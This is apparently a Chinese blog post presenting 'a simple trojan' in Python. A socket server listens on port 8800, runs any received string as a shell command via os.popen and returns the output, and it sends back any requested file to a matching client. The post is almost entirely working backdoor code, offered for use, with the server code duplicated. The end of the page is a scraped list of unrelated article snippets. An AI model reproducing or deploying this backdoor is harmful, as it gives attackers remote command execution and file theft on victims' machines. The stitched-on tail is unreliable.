一个简单的木马程序

绝大多数的木马程序都是基于Socket来实现的

废话少说直接上代码!

代码:

client部分:

# -*- coding: UTF-8 -*-

import socket

import sys

import re

import os

class Client:

def __init__(self, serverIp, serverPort):

self.serverIp = serverIp # 待连接的远程主机的域名

self.serverPort = serverPort

self.bufferSize = 10240

def connet(self): # 连接方法

try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

except socket.error as e:

print("Failed to create socket. Error: %s" % e)

try:

s.connect((self.serverIp, self.serverPort))

while True:

message = input('> ') # 接收用户输入

if not message:

break

s.send(bytes(message, 'utf-8')) # 发送命令

data = s.recv(self.bufferSize) # 接收数据

if not data:

break

if re.search("^0001", data.decode('utf-8', 'ignore')): # 判断数据类型

print(data.decode('utf-8')[4:])

else: # 文件内容处理

s.send("File size received".encode()) # 通知服务端可以发送文件了

file_total_size = int(data.decode()) # 总大小

received_size = 0

f = open("new" + os.path.split(message)[-1], "wb") # 创建文件

while received_size < file_total_size:

data = s.recv(self.bufferSize)

f.write(data) # 写文件

received_size += len(data) # 累加接收长度

print("已接收:", received_size)

f.close() # 关闭文件

print("receive done", file_total_size, " ", received_size)

except socket.error:

s.close()

raise # 退出进程

finally:

s.close()

if __name__ == '__main__':

cl = Client('127.0.0.1', 8800)

cl.connet()

sys.exit() # 退出进程

server部分:

# -*- coding: UTF-8 -*-

import socket

import sys

import os

class server:

def __init__(self, ip, port):

self.port = port

self.ip = ip

self.bufferSize = 10240

def start(self):  # 启动监听,接收数据

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

s.bind((self.ip, self.port))  # 绑定

s.listen(10)  # 监听

print('等待客户端连接')

while True:  # 一直等待新的连接

try:

conn, addr = s.accept()  # 接收连接

print('客户端连接 ' + addr[0] + ':' + str(addr[1]))

while True:  # 保持长连接

data = conn.recv(self.bufferSize)#接收数据

if not data:#断开连接时退出当前循环

break

else:

self.executeCommand(conn,data)

conn.close()#关闭当前连接

except socket.error as e:

print(e)

conn.close()  # 关闭连接

finally:

s.close()  # 关闭服务端

def executeCommand(self, tcpCliSock, data):  # 解析并执行命令

try:#

message = data.decode("utf-8")

if os.path.isfile(message):#判断是否是文件

filesize = str(os.path.getsize(message))#获取文件大小

print("文件大小为:",filesize)

tcpCliSock.send(filesize.encode())#发送文件大小

data = tcpCliSock.recv(self.bufferSize)

print("开始发送")

f = open(message, "rb")#打开文件

for line in f:

tcpCliSock.send(line)#发送文件内容

except:

raise

if __name__ == '__main__':

s = server('', 8800)

s.start()

# -*- coding: UTF-8 -*-

import socket

import sys

import os

class server:

def __init__(self, ip, port):

self.port = port

self.ip = ip

self.bufferSize = 10240

def start(self): # 启动监听,接收数据

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

s.bind((self.ip, self.port)) # 绑定

s.listen(10) # 监听

print('等待客户端连接')

while True: # 一直等待新的连接

try:

conn, addr = s.accept() # 接收连接

print('客户端连接 ' + addr[0] + ':' + str(addr[1]))

while True: # 不知道客户端发送数据大小,循环接收

data = conn.recv(self.bufferSize)

if not data:

break

else:

self.executeCommand(conn,data)

conn.close()

except socket.error as e:

print(e)

conn.close() # 关闭连接

finally:

s.close() # 关闭服务端

def executeCommand(self, tcpCliSock, data): # 解析并执行命令

try:#

message = data.decode("utf-8")

if os.path.isfile(message):#判断是否是文件

filesize = str(os.path.getsize(message))#获取文件大小

print("文件大小为:",filesize)

tcpCliSock.send(filesize.encode())#发送文件大小

data = tcpCliSock.recv(self.bufferSize)

print("开始发送")

f = open(message, "rb")#打开文件

for line in f:

tcpCliSock.send(line)#发送文件内容

else:

tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))

except:

raise

if __name__ == '__main__':

s = server('', 8800)

s.start()

执行效果:

提醒一下,以上是linux下的方式

如果使用的是windows得解释器:

命令如下

其余同上!

python编写木马攻击_python实现一个简单木马!相关推荐

  1. python垃圾分类图像识别算法_Python 实现一个简单的垃圾分类小游戏(已获校级二等奖)...

    作者:Vincentish https://blog.csdn.net/Vincentish/article/details/107495432 项目简介 本项目报名参加了"兖州中材杯&qu ...

  2. python实现2048游戏_python实现一个简单的2048游戏

    [Python]代码 # -*- coding: utf8 -*- import random data = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0 ...

  3. 一个简单木马分析及接管利用

    最近一段时间,感觉工作很是杂乱无章,博客也基本没时间来写,基本每月一篇,其实每写一篇也代表目前我自己的工作状态及内容.最近搞逆向这一块,找了些样本分析例子,自己也研究了一下,感觉有不少好东西,当然这些 ...

  4. python通过Tkinter库实现的一个简单的文本编辑器源码

    下边资料是关于python通过Tkinter库实现的一个简单的文本编辑器的内容. from tkSimpleDialog import askstring from tkFileDialog impo ...

  5. python编写木马攻击_Python编写简易木马程序

    Python编写简易木马程序 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 + ...

  6. python编写一个简单的程序验证码_Python实现一个简单的验证码程序

    老师讲完random函数,自己写的,虽然和老师示例的不那么美观,智能,但是也自己想出来的,所以记录一下,代码就需要自己不断的自己练习,实战,才能提高啊!不然就像我们这些大部分靠自学的人,何时能学会.还 ...

  7. 4、python简单线性回归代码案例(完整)_python 实现一个简单的线性回归案例

    #!/usr/bin/env python # -*- coding: utf-8 -*- # @File : 自实现一个线性回归.py # @Author: 赵路仓 # @Date : 2020/4 ...

  8. python编写脚本教程_python编写一个会算账的脚本的示例代码

    python算账脚本 1.假如小明卡里有10000元去商场买东西发现钱不够又向父母借了5000账单如下 2.以下脚本就能实现上面的运算 from time import strftime import ...

  9. python推荐_Python中一个简单的基于内容的推荐引擎

    假设,我们需要为一个电子商务网站建立一个推荐引擎. 基本上,你有两种方法:基于内容和协同过滤.我们将看看每种方法的优缺点,然后深入一个基于内容的引擎的一个简单的实现(准备在Heroku之上部署!). ...

最新文章

  1. react 实现数据双向绑定
  2. java 文件指定位置插入_java中想在一个文件中的某一个位置插入内容,如何操作?...
  3. argparse.ArgumentParser()的用法
  4. MyEclipse/Eclipse中properties文件中文乱码问题解决
  5. SnipperImages(Silverlight DEMO)控件设计之--Slider和ColorSlider
  6. 蛙泳如何找准背部发力的感觉
  7. 算法题+JVM+自定义View,隔壁都馋哭了
  8. Spring 实践 -拾遗
  9. could not insert:
  10. python3 中文文件名_Python3上传中文文件名的问题
  11. 5.abp框架code first方式删除表
  12. 获取synchronized锁中的阻塞队列中的线程是非公平的
  13. win10录屏_win10录屏打不开怎么办?怎么给win10录制屏幕视频?
  14. 主流反外挂技术的优缺点比较
  15. 链接与自定义函数名同名的库函数
  16. 数据挖掘十大算法之决策树详解(2)
  17. 计算机未来的发展250字,电脑迷250字作文
  18. 【NOIP2014普及组】子矩阵
  19. 透视变换原理和变换矩阵的python实现
  20. 基金收益,通过Java实时获取

热门文章

  1. mysql errorcode 1366_mysql插入emoji表情报 error code [1366]
  2. linux下如何删除一个文件
  3. GPU大百科全书 第一章:美女 方程与几何
  4. go语言踩坑:data race导致的输出结果与预期结果不一致
  5. vim打开的文件无法使用:wq保存的问题
  6. 计算机wps素材,WPS Office 2012在线素材 让办公无需“步步惊心”
  7. 〖Python网络爬虫实战⑫〗- XPATH语法介绍
  8. 拒绝黄牛 《东方早报》记者在太平洋数码遭殴
  9. Linux超级用户的提示符是,【判断题】Linux超级用户登录后的提示符是 $ ,普通用户登录后的提示符是 #...
  10. 如何安装husky_Husky Chat 2.1.1